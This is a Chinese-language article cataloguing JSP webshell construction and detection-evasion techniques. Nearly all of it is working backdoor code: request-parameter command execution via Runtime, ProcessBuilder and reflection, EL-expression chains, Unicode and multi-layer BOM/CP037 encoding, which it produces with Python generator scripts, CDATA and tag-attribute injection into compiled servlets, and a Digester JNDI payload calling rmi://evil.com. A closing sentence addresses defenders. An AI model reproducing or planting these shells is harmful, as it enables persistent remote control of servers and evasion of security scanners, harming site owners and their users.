JSP Webshell 检测引擎对抗技术全解析
1. 引言
JSP (JavaServer Pages) Webshell 是攻击者攻陷Java Web应用后植入的后门脚本,用于实现远程控制、数据窃取等恶意操作。随着静态检测引擎(如RASP、杀毒软件、代码审计工具)的发展,攻击者不断演化其技术以绕过检测。本文档系统性地梳理了从基础到高级的JSP Webshell构造与绕过技术。
2. 基础JSP Webshell构造
2.1 直接命令执行
最基础的Webshell通过Runtime或ProcessBuilder执行系统命令。
示例1:使用 Runtime
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
// ... 处理输入流并回显结果
}
%>
示例2:使用 ProcessBuilder
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = new ProcessBuilder(new String[]{cmd}).start();
// ... 处理输入流并回显结果
}
%>
2.2 反射调用ProcessImpl
绕过可能对Runtime和ProcessBuilder进行关键字检测的引擎。
<%
Class<?> aClass = Class.forName("java.lang.ProcessImpl");
Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);
// ... 处理输入流并回显结果
%>
3. 利用JSP/EL表达式特性
3.1 EL表达式执行
EL表达式不仅能在${}中执行,还能嵌入JSP标签属性中。
在Body中执行
<%= pageContext.getAttribute("obj").exec(param.cmd) %>
<!-- 或在JSPX中 -->
<jsp:expression>EL表达式</jsp:expression>
在标签属性中执行
<jsp:useBean id="test" type="java.lang.Class" beanName="${Runtime.getRuntime().exec(param.cmd)}"></jsp:useBean>
复杂链式调用
${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}
<!-- 通过请求参数动态拼接调用链,极大增加检测难度 -->
3.2 反射与非黑名单方法
利用冷门类或反射机制调用方法。
反射PropertyReference示例
<%
PropertyReference reference = new PropertyReference(String.class, "test");
Field reflected = PropertyReference.class.getDeclaredField("reflected");
reflected.setAccessible(true);
reflected.set(reference, true); // 跳过判断限制
Method method = Runtime.class.getDeclaredMethod("exec", String[].class);
Field setter = PropertyReference.class.getDeclaredField("setter");
setter.setAccessible(true);
setter.set(reference, method); // 设置恶意方法
reference.set(Runtime.getRuntime(), new String[]{"bash", "-c", "open -a Calculator"});
%>
使用非黑名单类 (JARSoundbankReader)
<%
JARSoundbankReader reader = new JARSoundbankReader();
URL url = new URL("http://xx.xx.xx.xx/");
reader.getSoundbank(url); // 可能用于触发网络请求或反序列化
%>
4. 编码与混淆技术
4.1 基础编码绕过
ASCII码编码
<%
// java.lang.Runtime
Class<?> aClass = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));
%>
HEX编码
<%
// java.lang.Runtime
Class<?> aClass = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
%>
4.2 Unicode与注释符逃逸
完整Unicode编码Webshell
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<%@ page import="java.io.*"%>
<%
\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006d\u0064\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u003b
// ... (完整的Unicode编码脚本)
%>
解码后即为标准命令执行代码。
注释符逃逸 (利用换行符)
<%
Process process = new ProcessBuilder(new String[]{cmd}).\u000d\uabcdstart();
// \u000d (回车) 后的字符至下一行会被注释掉,但start()方法被成功调用
%>
4.3 多重编码与BOM
JSP容器支持多种编码解析(UTF-16BE, UTF-16LE, UTF-8, CP037, ISO-10646-UCS-4等),通过组合编码和BOM头可以绕过基于简单编码探测的检测引擎。
一重编码 (带BOM的UTF-16BE)
import codecs
s1 = '''<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'''
with open("shell1.jsp", "wb") as f1:
f1.write(codecs.BOM_UTF16_BE)
f1.write(s1.encode("utf-16be"))
二重编码 (BOM探测失败 + pageEncoding指定)
s0 = '''<%@ page pageEncoding="cp037" language="java"%>'''
s1 = '''<% ...命令执行代码... %>'''
with open("shell1.jsp", "wb") as f1:
f1.write(s0.encode("utf-8")) # 第一层:UTF-8
f1.write(s1.encode("cp037")) # 第二层:CP037 (EBCDIC)
容器先以默认编码(如UTF-8)解析,遇到pageEncoding="cp037"指令后,会用CP037重新解码文件剩余部分。
三重编码 (XML声明 + pageEncoding)
s08 = '''<?xml version="1.0" encoding='cp037'?>''' # 声明第二层编码
s0 = '''<%@ page pageEncoding="utf-16be" language="java"%>''' # 声明第三层编码
s1 = '''<% ...命令执行代码... %>'''
with open("shell1.jsp", "wb") as f1:
f1.write(s08.encode("utf-8")) # 第一层:UTF-8 (无BOM,探测失败)
f1.write(s0.encode("cp037")) # 第二层:CP037 -> 解析出pageEncoding指令
f1.write(s1.encode("utf-16be")) # 第三层:UTF-16BE -> 最终被执行
编码层次:文件物理存储 (UTF-8) -> XML声明指定 (CP037) -> Page指令指定 (UTF-16BE)。
5. 利用JSP/XML标签语法
5.1 JSP文档格式 (JSPX)
使用XML格式的JSP文档,替代传统<% ... %>写法。
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
// ... 处理过程
}
</jsp:scriptlet>
</jsp:root>
5.2 自定义标签前缀
<?xml version="1.0" encoding="UTF-8"?>
<demo:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:scriptlet>...</jsp:scriptlet>
</demo:root>
5.3 CDATA与HTML实体混淆
在contentType="text/html"的JSPX中,可利用CDATA分段和HTML实体编码。
CDATA分割关键字
<jsp:scriptlet>
String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
// 解析后拼接为:request.getParameter("cmd")
</jsp:scriptlet>
HTML实体编码
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
// "String cmd = request.getParameter("cmd");" 的实体编码
</jsp:scriptlet>
6. 高级逃逸与代码拼接
6.1 BeansExpression 分离关键字
将敏感方法调用拆解为Expression对象。
<%@ page import="java.beans.Expression" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expression.getValue(); // 执行
// ...
}
%>
6.2 标签属性代码注入 (setProperty)
利用JSP编译时标签属性值的解析和Java代码生成过程中的拼接漏洞。
<jsp:setProperty name="\" + new java.util.function.Supplier<String>() {
public String get() {
try{
String s = request.getParameter(\"cmd\");
Process process = new ProcessBuilder().command(s.split(\"\\s+\")).start();
} catch (Exception e) { e.printStackTrace();}
return \"\";
}
}.get()" property="*" />
在编译生成的Java代码中,name属性的值会被拼接成字符串,其中的Java代码会被执行。
6.3 组合利用 useBean 和 setProperty
构造巧妙的注释符和语法结构实现完美逃逸。
<jsp:useBean id="a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\"));//" type="java.lang.Class" beanName=";" ></jsp:useBean>
<jsp:setProperty name="\"*/ /" property="*" ></jsp:setProperty>
生成的Java代码可能被拼接为:
java.lang.Class a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));// = ...;
// ...
("\"*/ /") * = ...; // 后面的代码被注释或错误结构包裹,但不影响前面命令执行
7. 检测引擎对抗策略
7.1 敏感信息隐藏
利用System Properties
<%
System.setProperty("cmd", "calc");
// 从System Property中读取命令,而非直接参数
Process process = Runtime.getRuntime().exec(System.getProperty("cmd"));
%>
利用PageContext属性
${pageContext.setAttribute("obj", Runtime.getRuntime())}
${pageContext.getAttribute("obj").exec("open -a Calculator")}
7.2 破坏文件结构进行拼接
模拟JSP编译生成的_jspService方法结构,插入恶意代码并保证语法正确。
<%@ page import="java.beans.Expression" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
} catch (java.lang.Throwable t) {} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
// 提前结束try块,然后插入自己的代码
try {
if (cmd != null) {
Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expression.getValue();
// ...
}
// 原始生成的代码会继续...
7.3 传输与回显伪装
GET传参执行JS引擎
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("xxx")); // 通过GET参数传递JS Payload
%>
修改响应头伪装错误页面
将命令执行结果编码后,隐藏在伪装成404或500错误页面的HTML源码中(如隐藏的<input>标签的value属性)。
7.4 利用其他组件漏洞 (Digester)
触发其他可导致代码执行的解析过程,如Tomcat Digester XML解析。
<%
org.apache.tomcat.util.digester.Digester digester = new org.apache.tomcat.util.digester.Digester();
digester.addObjectCreate("Test/Loader", null, "className");
digester.addSetProperties("Test/Loader");
// 解析恶意XML,触发setter方法注入(如JNDI注入)
digester.parse(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(request.getParameter("cmd"))));
%>
传入Base64编码的恶意XML:
<?xml version='1.0' encoding='utf-8'?>
<Test>
<Loader className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://evil.com:1099/exploit" autoCommit="true"></Loader>
</Test>
8. 总结
JSP Webshell的对抗是一个持续演进的过程,核心思路围绕以下几点:
- 规避关键字:使用反射、冷门类、EL表达式、编码等方式隐藏敏感特征。
- 滥用语法特性:利用JSP/XML复杂的解析规则、编码识别顺序、标签属性解析等特性制造混淆。
- 代码结构破坏与拼接:利用编译生成逻辑,通过精心构造的注释符、字符串和代码块,在生成的Java源代码中插入恶意片段。
- 上下文隐藏:将核心Payload与触发条件分离,通过系统属性、PageContext、外部请求等方式动态获取。
- 伪装:对传输的Payload和返回的结果进行编码、伪装,绕过基于流量或响应的检测。
防御者需要深入理解JSP解析、编译的完整生命周期,并采用动态检测、语义分析、行为监控等多种手段相结合的方式,才能有效应对日益复杂的Webshell威胁。